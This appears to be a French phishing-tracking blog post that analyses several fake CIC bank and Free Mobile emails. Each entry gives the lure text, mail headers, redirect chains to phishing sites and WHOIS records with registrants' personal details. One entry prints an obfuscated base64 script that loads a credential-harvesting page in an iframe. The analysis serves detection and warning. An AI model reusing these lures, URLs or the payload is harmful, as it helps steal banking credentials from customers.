Régulariser votre situation (Phishing CIC)

correttamente , on

Bonjour,

Un nouveau Message est disponible sur votre Messagerieo
Nous venons de nous apercevoir que vous avez ete debite deux fois l'ors de votre achats.
Regler votre situation en Cliqueant sur le lien ce-dessous :

Regler votre situation

Nous vous remercions de votre confiance.

Ce courriel vous a été envoyé par un système automatique d'émission de messages.
L'adresse d'émission n'est pas une adresse de courriel classique.
Si vous écrivez à cette adresse, votre message ne sera pas pris en compte

LINGE DE LIT LINGE DE BAIN LINGE DE TABLE LES ENFANTS

Email screenshot :

Email analysis :

NOTE : serviice@modele-lettre-type.com
NOTE : Content-Type : text/html; charset=iso-8859-1
NOTE : Mime-Version : 1.0
NOTE : Return-Path : < www-data@modele-lettre-type.com >
NOTE : Received : from modele-lettre-type.com ([185.107.213.241])
NOTE : Received : by modele-lettre-type.com (Postfix, from userid 33)
NOTE : X-Php-Originating-Script : 0:ao.php
NOTE : Régulariser votre situation

Phishing analysis :

CLICK : Regler votre situation
OPEN : http://elbandito.com.pl/apis.php
REDIRECT :

data:text/html;https://www.cic.fr/fr/banques/particuliers/;base64,PFNjcmlwdCBMYW5ndWFnZT0nSmF2YXNjcmlwdCc+DQo8IS0tINiq2LTZgdmK2LEgQW0zUmVmaC5Db20gLS0+DQo8IS0tDQpkb2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTNDJTY4JTc0JTZEJTZDJTNFJTNDJTY4JTY1JTYxJTY0JTNFJTNDJTJGJTY4JTY1JTYxJTY0JTNFJTNDJTYyJTZGJTY0JTc5JTNFJTBBJTNDJTc0JTY5JTc0JTZDJTY1JTNFJTQzJTQ5JTQzJTIwJTNFJTIwJTQ5JTY0JTY1JTZFJTc0JTY5JTY2JTY5JTYzJTYxJTc0JTY5JTZGJTZFJTNDJTJGJTc0JTY5JTc0JTZDJTY1JTNFJTBBJTA5JTA5JTNDJTZDJTY5JTZFJTZCJTIwJTcyJTY1JTZDJTNEJTIyJTczJTY4JTZGJTcyJTc0JTYzJTc1JTc0JTIwJTY5JTYzJTZGJTZFJTIyJTIwJTc0JTc5JTcwJTY1JTNEJTIyJTY5JTZEJTYxJTY3JTY1JTJGJTc4JTJEJTY5JTYzJTZGJTZFJTIyJTIwJTY4JTcyJTY1JTY2JTNEJTIyJTY4JTc0JTc0JTcwJTNBJTJGJTJGJTc3JTc3JTc3JTJFJTcwJTYxJTZDJTY5JTYzJTZCJTZGJTc2JTYxJTY2JTZGJTc0JTZGJTJFJTYzJTdBJTJGJTZDJTZGJTY3JTczJTJGJTZDJTZGJTY3JTJGJTY5JTZEJTY3JTJGJTY2JTYxJTc2JTY5JTYzJTZGJTZFJTJFJTY5JTYzJTZGJTIyJTNFJTBBJTBBJTNDJTZEJTY1JTc0JTYxJTIwJTYzJTY4JTYxJTcyJTczJTY1JTc0JTNEJTIyJTc1JTc0JTY2JTJEJTM4JTIyJTNFJTBBJTBBJTNDJTZEJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcwJTJEJTY1JTcxJTc1JTY5JTc2JTNEJTIyJTU4JTJEJTU1JTQxJTJEJTQzJTZGJTZEJTcwJTYxJTc0JTY5JTYyJTZDJTY1JTIyJTIwJTYzJTZGJTZFJTc0JTY1JTZFJTc0JTNEJTIyJTQ5JTQ1JTNEJTQ1JTZEJTc1JTZDJTYxJTc0JTY1JTQ5JTQ1JTM3JTIyJTNFJTBBJTBBJTBBJTNDJTZEJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcwJTJEJTY1JTcxJTc1JTY5JTc2JTNEJTIyJTQzJTZGJTZFJTc0JTY1JTZFJTc0JTJEJTU0JTc5JTcwJTY1JTIyJTIwJTYzJTZGJTZFJTc0JTY1JTZFJTc0JTNEJTIyJTc0JTY1JTc4JTc0JTJGJTY4JTc0JTZEJTZDJTNCJTIwJTYzJTY4JTYxJTcyJTczJTY1JTc0JTNEJTU1JTU0JTQ2JTJEJTM4JTIyJTNFJTBBJTIwJTNDJTczJTc0JTc5JTZDJTY1JTNFJTBBJTIwJTIwJTdCJTZEJTYxJTcyJTY3JTY5JTZFJTNBJTMwJTNCJTcwJTYxJTY0JTY0JTY5JTZFJTY3JTNBJTMwJTNCJTdEJTBBJTY4JTc0JTZEJTZDJTJDJTBBJTYyJTZGJTY0JTc5JTIwJTIwJTIwJTIwJTdCJTY4JTY1JTY5JTY3JTY4JTc0JTNBJTMxJTMwJTMwJTI1JTNCJTIwJTIwJTc3JTY5JTY0JTc0JTY4JTNBJTMxJTMwJTMwJTI1JTNCJTIwJTZGJTc2JTY1JTcyJTY2JTZDJTZGJTc3JTNBJTY4JTY5JTY0JTY0JTY1JTZFJTNCJTdEJTBBJTc0JTYxJTYyJTZDJTY1JTIwJTIwJTdCJTY4JTY1JTY5JTY3JTY4JTc0JTNBJTMxJTMwJTMwJTI1JTNCJTIwJTIwJTc3JTY5JTY0JTc0JTY4JTNBJTMxJTMwJTMwJTI1JTNCJTIwJTc0JTYxJTYyJTZDJTY1JTJEJTZDJTYxJTc5JTZGJTc1JTc0JTNBJTczJTc0JTYxJTc0JTY5JTYzJTNCJTBBJTYyJTZGJTcyJTY0JTY1JTcyJTJEJTYzJTZGJTZDJTZDJTYxJTcwJTczJTY1JTNBJTYzJTZGJTZDJTZDJTYxJTcwJTczJTY1JTNCJTdEJTBBJTY5JTY2JTcyJTYxJTZEJTY1JTIwJTIwJTdCJTY2JTZDJTZGJTYxJTc0JTNBJTZDJTY1JTY2JTc0JTNCJTIwJTY4JTY1JTY5JTY3JTY4JTc0JTNBJTMxJTMwJTMwJTI1JTNCJTIwJTc3JTY5JTY0JTc0JTY4JTNBJTMxJTMwJTMwJTI1JTNCJTdEJTBBJTJFJTY4JTY1JTYxJTY0JTY1JTcyJTIwJTdCJTYyJTZGJTcyJTY0JTY1JTcyJTJEJTYyJTZGJTc0JTc0JTZGJTZEJTNBJTMxJTcwJTc4JTIwJTczJTZGJTZDJTY5JTY0JTIwJTIzJTMwJTMwJTMwJTdEJTBBJTJFJTYzJTZGJTZFJTc0JTY1JTZFJTc0JTIwJTdCJTY4JTY1JTY5JTY3JTY4JTc0JTNBJTMxJTMwJTMwJTI1JTNCJTdEJTBBJTNDJTJGJTczJTc0JTc5JTZDJTY1JTNFJTBBJTBBJTBBJTIwJTIwJTIwJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTNDJTY5JTY2JTcyJTYxJTZEJTY1JTIwJTczJTcyJTYzJTNEJTIyJTY4JTc0JTc0JTcwJTNBJTJGJTJGJTc3JTc3JTc3JTJFJTcwJTYxJTZDJTY5JTYzJTZCJTZGJTc2JTYxJTY2JTZGJTc0JTZGJTJFJTYzJTdBJTJGJTZDJTZGJTY3JTczJTJGJTZDJTZGJTY3JTJGJTIyJTIwJTY2JTcyJTYxJTZEJTY1JTYyJTZGJTcyJTY0JTY1JTcyJTNEJTIyJTMwJTIyJTNFJTNDJTJGJTY5JTY2JTcyJTYxJTZEJTY1JTNFJTBBJTA5JTIwJTIwJTBBJTNDJTJGJTYyJTZGJTY0JTc5JTNFJTNDJTJGJTY4JTc0JTZEJTZDJTNFJykpOw0KLy8tLT4NCjwvU2NyaXB0Pg==

DATAS EXTRACTED : تشفير Am3Refh.Com
DATAS EXTRACTED : http://www.palickovafoto.cz/logs/log/
DATAS EXTRACTED : http://www.palickovafoto.cz/logs/log/first.php?token=*&default=*

SCREENSHOT :

CLICK : OK
REDIRECT + SCREENSHOT :

CLICK : Confirmer
SCREENSHOT :

Domain analyis palickovafoto.cz :

domain: palickovafoto.cz
registrant: FORPSI-C8V-S503870
nsset: NSS:ISOL:1
registrar: REG-INTERNET-CZ
contact: FORPSI-C8V-S503870
name: Mgr.Pavla Pali??kov??
address: Ben??tsk?? 296
address: Krmel??n
address: 73924
address: CZ
registrar: REG-INTERNET-CZ
created: 05.04.2014 14:32:05
nsset: NSS:ISOL:1
nserver: ns1.isol.cz (89.187.131.40)
nserver: ns2.isol.cz (89.187.131.41)
tech-c: FORPSI-LAZ-C151031
registrar: REG-INTERNET-CZ
contact: FORPSI-LAZ-C151031
org: ISOL Int. s.r.o.
name: ISOL Int. s.r.o.
address: Borivojova 35/878
address: Praha 3
address: 13000
address: CZ
phone: +420.724979858
registrar: REG-GRANSY

Domain analysis elbandito.com.pl :

DOMAIN NAME: elbandito.com.pl
registrant type: individual
nameservers: ns1.dahost.pl. [91.228.199.2]
ns2.dahost.pl. [91.228.196.26]
no option
dnssec: Unsigned
TECHNICAL CONTACT:
company: Biznes-Host.pl sp. z o.o.
street: Grottgera 16/1
city: 60-758 Pozna??
location: PL
phone: +48.618667050
last modified: 2011.02.17
REGISTRAR:
Biznes-Host.pl sp. z o.o.
Grodziska 17a/4
60-363 Pozna??
Tel: +48.616624200
bok@biznes-host.pl

vous avez un nouveau ✉ (Phishing CIC)

CI C

Cher(e) Client(e),

Lors de votre dérnier achat, vous avez été averti par un message vous informant de l'obligation d'adhérer à la nouvelle réglementation concernant la fiabilité pour les achats par C.B sur internet et de la mis en place d'un arrét pour vos futurs achats

Or, nous n'avons pas, ce jour , d'adhésion de votr part et nous sommes ou regret de vous informer que vous pouvez plus utiliser votr cart sur internet

Adhésion : cIiquant ici

Merci de la confiance que vous nous témoignez

Cordialement

Conseil d'administration

Email screenshot :

Email analysis :

NOTE : mdl@geosoc.fr
NOTE : Content-Type : text/html; charset=iso-8859-1
NOTE : Return-Path : < www-data@geosoc.fr >
NOTE : Received : from geosoc.fr ([84.39.46.170])
NOTE : Received : by geosoc.fr (Postfix, from userid 33)
NOTE : X-Php-Originating-Script : 0:lkhourza.php
NOTE : Message-Id : < 20160628050458.0648121078@geosoc.fr >
NOTE : vous avez un nouveau ✉

Phishing analysis :

CLICK : Adhésion : cIiquant ici
OPEN : http://royalapparels.com/cgi/
REDIRECT : http://marcellocampos.com.br/loja/magmi/state/-/mpl/lpf/zero/normal42/accorde/*
REDIRECT : http://marcellocampos.com.br/loja/magmi/state/-/mpl/lpf/zero/normal42/accorde/*/lb.php?id=*&default=*
SCREENSHOT :

CLICK : OK
SCREENSHOT :

NOTE : ANALYSIS WITH NO REDIRECT IF THE PASSWORD IS WRONG

Domain analysis : marcellocampos.com.br

domain: marcellocampos.com.br
owner: Marcelo Campos
responsible: Turbo Web Internet
country: BR
owner-c: MAACA45
admin-c: ZAB
tech-c: WAA218
billing-c: MAACA45
nserver: nsbra16.hostgator.com.br
nsstat: 20160627 AA
nslastaa: 20160627
nserver: nsbra17.hostgator.com.br
nsstat: 20160627 AA
nslastaa: 20160627
created: 20070704 #3724896
expires: 20220704
changed: 20150719
status: published
nic-hdl-br: MAACA45
person: Marcelo Andr? de Campos
created: 20070109
changed: 20160126
nic-hdl-br: WAA218
person: Willianson de Almeida Araujo
created: 20050409
changed: 20130401
nic-hdl-br: ZAB
person: Zilda Aparecida Bagattini
created: 19971223
changed: 20151230

vous avez un message (Phishing CIC)

CI C

Cher(e) Client(e),

Lors de votre dérnier achat, vous avez été averti par un message vous informant de l'obligation d'adhérer à la nouvelle réglementation concernant la fiabilité pour les achats par C.B sur internet et de la mis en place d'un arrét pour vos futurs achats Or, nous n'avons pas, ce jour , d'adhésion de votr part et nous sommes ou regret de vous informer que vous pouvez plus utiliser votr cart sur internet

Adhésion : cIiquant ici

Merci de la confiance que vous nous témoignez

Cordialement

Conseil d'administration

Email screenshot :

Email analysis :

NOTE : Content-Type : text/html; charset=iso-8859-1
NOTE : Mime-Version : 1.0
NOTE : Return-Path : < iidheldo@meo.fr >
NOTE : Received : from meo.fr ([84.39.48.4])
NOTE : Received : by meo.fr (Postfix, from userid 33)
NOTE : X-Php-Originating-Script : 0:LKJDKJFD.php
NOTE : vous avez un message

Phishing Analysis :

CLICK : Adhésion : cIiquant ici
OPEN : http://jupiterapparel.com/slk
REDIRECT : http://aidyourlifestyle.com/cgi-sys/suspendedpage.cgi
RESULT : Phishing attempt

Domain analysis :

Domain Name:aidyourlifestyle.com
Registrant Name:Zhern Je Lee
Registrant Country:my
Registrant Phone:+601.0000000
Registrant Email:leezhernje@gmail.com
Admin Name:Zhern Je Lee
Admin Email:leezhernje@gmail.com
Tech Name:Zhern Je Lee
Tech Email:leezhernje@gmail.com
Name Server:NS1011.NEWIPDNS.COM
Name Server:NS1012.NEWIPDNS.COM
====================================
Domain Name: jupiterapparel.com
Registrant Name: Jupiter Apparel
Registrant Organization: Jupiter Apparel
Registrant Street: A - 31, Ram Nagar, Om Vihar
Registrant City: New Delhi
Registrant State/Province: Delhi
Registrant Postal Code: 110059
Registrant Country: IN
Registrant Phone: +91.25334910
Registrant Fax: +91.25331259
Registrant Email: anshul@gsspl.com
Admin Name: Jupiter Apparel
Admin Organization: Jupiter Apparel
Admin Street: A - 31, Ram Nagar, Om Vihar
Admin City: New Delhi
Admin State/Province: Delhi
Admin Postal Code: 110059
Admin Country: IN
Admin Phone: +91.25334910
Admin Fax: +91.25331259
Admin Email: anshul@gsspl.com
Tech Name: Jupiter Apparel
Tech Organization: Jupiter Apparel
Tech Street: A - 31, Ram Nagar, Om Vihar
Tech City: New Delhi
Tech State/Province: Delhi
Tech Postal Code: 110059
Tech Country: IN
Tech Phone: +91.25334910
Tech Fax: +91.25331259
Tech Email: anshul@gsspl.com
Name Server: ns63.domaincontrol.com
Name Server: ns64.domaincontrol.com

Documents et contrats (Phishing Free)

- Free Mobile -
Cher(e) client(e) Free

Votre prélèvement bancaire a été refusé par votre établissement bancaire.
Afin de régulariser votre situation veuillez refferez ci-dessous :

Merci de la confiance que vous nous temoignez. Nous vous souhaitons
une agreable utilisation de votre Compte Free.

L’équipe Free

--
Free Mobile - SAS au capital de 365.138.779 Euros - RCS PARIS 499
247 138 -
Siège social : 16 rue de la Ville l’Evêque 75008 Paris
****************************************************
Detail du serveur de provenance :
freemobile-assistance.info
Location of the Host IP address
216.222.194.9:
Columbus in United States

Email analysis :

NOTE : Facture Free N°A03B
NOTE : no-reply@host.123-webhost.biz
NOTE : site768@www.julesmoormann.nl
NOTE : Received : by ispman-01.isp-services.nl (sSMTP sendmail emulation)
NOTE : Received : from hpu-08.isp-services.nl ([89.105.200.74])

Phishing analysis :

CLICK : BUTTON
OPEN : http://www.mimmobeneventano.it/public/priv8/?521348cfaf358d9752decf0a9295bf04
REDIRECT : http://www.cicmontoyas.com/index1.php
CORRECT TO : http://www.cicmontoyas.com/index.php
REDIRECT TO : http://www.cicmontoyas.com/1428554083/lb.php?id=13698&default=2649dabca3753f883fe312540e319948

cicmontoyas.com whois :

Domain Name: CICMONTOYAS.COM
Registry Domain ID: 1917431422_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Update Date: 2015-04-08T04:15:07Z
Creation Date: 2015-04-08T04:15:07Z
Registrar Registration Expiration Date: 2017-04-08T04:15:07Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.480-624-2505
Registrant Name: selvey montoya
Registrant Street: 09 Rue de lapaix
Registrant City: Paris
Registrant State/Province: Centre
Registrant Postal Code: 75000
Registrant Country: France
Registrant Phone: +33.65789865
Registrant Email: sylvie.perroud@free.fr
Registry Admin ID:
Admin Name: selvey montoya
Admin Organization:
Admin Street: 09 Rue de lapaix
Admin City: Paris
Admin State/Province: Centre
Admin Postal Code: 75000
Admin Country: France
Admin Phone: +33.65789865
Admin Email: sylvie.perroud@free.fr
Registry Tech ID:
Tech Name: selvey montoya
Tech Organization:
Tech Street: 09 Rue de lapaix
Tech City: Paris
Tech State/Province: Centre
Tech Postal Code: 75000
Tech Country: France
Tech Phone: +33.65789865
Tech Email: sylvie.perroud@free.fr
Name Server: NS67.DOMAINCONTROL.COM
Name Server: NS68.DOMAINCONTROL.COM

Un phishing pour Free, un phishing CIC...

[Messagerie] Documents et contrats (CIC Phishing)

Vous receptionnez cette information sur votre adresse email car vous etes membre de CIC ou suite a votre inscription dans la base de donnees de nos partenaires .
Vous pouvez beneficier de cette selection en cliquant dans l'email que vous avez recu. Vous serez alors redirige sur le site et consulter notre site directement.
Pour toute reclamation concernant un paiement, un echange ou une information, merci de contacter l'annonceur directement sur son site internet (rubrique contact).

Vous avez considere ce mail comme Indesirable signalez le ici.
Pour etre retire de notre liste de diffusion,rendez-vous sur cette page.
Notez que le traitement de cette demande peut prendre jusqu'a 72 heures.

Cup of Media - 92 rue Anatole France - 92300 LEVALLOIS PERRET - Vous pouvez acceder a notre politique sur les donnees personnelles et nos mentions legales.

Email analysis :

NOTE : dezign@ns398398.ovh.net
NOTE : Received : from ns398398.ovh.net ([176.31.125.187])

Phishing analysis :

CLICK : http://www.downneapolis.it/mail/?38b1b5bc2634ed0f69ec93113565dded
NOTE : The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

⚠ 18/05/2014 - CIC.FR !!

Bonjour,

Vous avez (1) nouveaux messages Sur Votre Messagerie

Consulter

Votre Messagerie,

en cliquant Sur Le lien ci-dessous :

Votre Espace Client

E-mail : apache@lnx1039vm.asp4all.nl (CIC-BANQUE)

Phishing CIC

CIC - Parce que le monde bouge
Service ETALIS

Bonjour

Vous ne pouvez pas payer par carte bancaire sur les sites marchands demandant la vérification de votre identité

Detaile de votre situation

Pour que nous puissions vérifier votre identité, vous devez :

À faireÊtre équipé d'une Carte de CLÉS PERSONNELLES activée :

vous n'êtes pas équipé d'une Carte de CLÉS PERSONNELLES active.

À faireAvoir renseigné une adresse e-mail : vous n'avez pas renseigné d'adresse e-mail.
À faireAvoir renseigné un numéro de téléphone portable : vous n'avez pas renseigné de numéro de téléphone portable.

TerminéAvoir validé l’avenant aux conditions générales de vos cartes bancaires

Vous devez maintenant compléter vos coordonnées personnelles

Pour sécuriser l'enregistrement de votre adresse e-mail et de votre numéro de téléphone portable, vous devez commander une Carte de CLÉS PERSONNELLES. Elle vous sera communiquée par courrier postal à votre adresse habituelle. Dès réception de ce courrier, connectez-vous pour activer cette Carte de CLÉS PERSONNELLES. Les coordonnées personnelles saisies lors de la commande de votre Carte de CLÉS PERSONNELLES seront utilisables après cette activation connectez-vous en cliquant ici

Ce message et toutes les pièces jointes sont confidentiels et établis à l'intention exclusive de son ou ses destinataires. Si vous avez reçu ce message par erreur, merci d'en avertir immédiatement l'émetteur et de détruire le message. Toute modification, édition, utilisation ou diffusion non autorisée est interdite. L'émetteur décline toute responsabilité au titre de ce message s'il a été modifié, déformé, falsifié, infecté par un virus ou encore édité ou diffusé sans autorisation.
***********************************************************************************************
Ce message et toutes les pièces jointes sont confidentiels et établis à l'intention exclusive
de son ou ses destinataires. Si vous avez reçu ce message par erreur, merci d'en avertir
immédiatement l'émetteur et de détruire le message. Toute modification, édition, utilisation ou
diffusion non autorisée est interdite. L'émetteur décline toute responsabilité au titre de ce
message s'il a été modifié, déformé, falsifié, infecté par un virus ou encore édité ou diffusé
sans autorisation.
***********************************************************************************************

Titre : Pour que nous puissions vérifier votre identité, vous devez
E-mail : noreply@cic.fr